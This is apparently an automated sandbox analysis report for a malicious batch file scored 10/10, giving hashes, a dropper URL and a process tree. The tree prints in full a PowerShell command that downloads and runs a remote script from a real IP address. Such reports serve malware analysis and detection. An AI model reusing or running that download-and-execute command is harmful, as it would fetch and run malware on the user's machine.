dd942abf87ee4e6ca4302dcd7aa5bdb1320f89a33c2b3894de45a5d23652334d | Triage

Analysis

max time kernel
143s
max time network
69s
platform
windows10_x64
resource
win10v200430
submitted
05-06-2020 10:10

Sharing

Report Analysis Logs

General

Target

5b00c321fd30e47ab9f92f8c1db156a2.bat
Size

220B
MD5

be8734dedc115b61707e100ef0cb4da7
SHA1

d74c59a065110dce06050a9ed77e332c594a7767
SHA256

dd942abf87ee4e6ca4302dcd7aa5bdb1320f89a33c2b3894de45a5d23652334d
SHA512

04c2f2ca6f66649e1a9bc9ad1e154f95c44a41f9a9a9575a28f0ac48ce8e648cda993e542e9ccfe085503d3ecdb2f2b14786da8af0a7f8f46342aa2927228bd0

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/5b00c321fd30e47ab9f92f8c1db156a2

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1004 WerFault.exe
Token: SeBackupPrivilege 1004 WerFault.exe
Token: SeDebugPrivilege 1004 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe
1004	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1004 520 WerFault.exe powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5b00c321fd30e47ab9f92f8c1db156a2.bat"
1⤵
PID:3540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/5b00c321fd30e47ab9f92f8c1db156a2');Invoke-HEXYTAQOOZJOZ;Start-Sleep -s 10000"
2⤵
PID:520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 520 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:1004

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1004-0-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

Filesize
4KB

Download
memory/1004-1-0x00000000055D0000-0x00000000055D1000-memory.dmp

Filesize
4KB

Download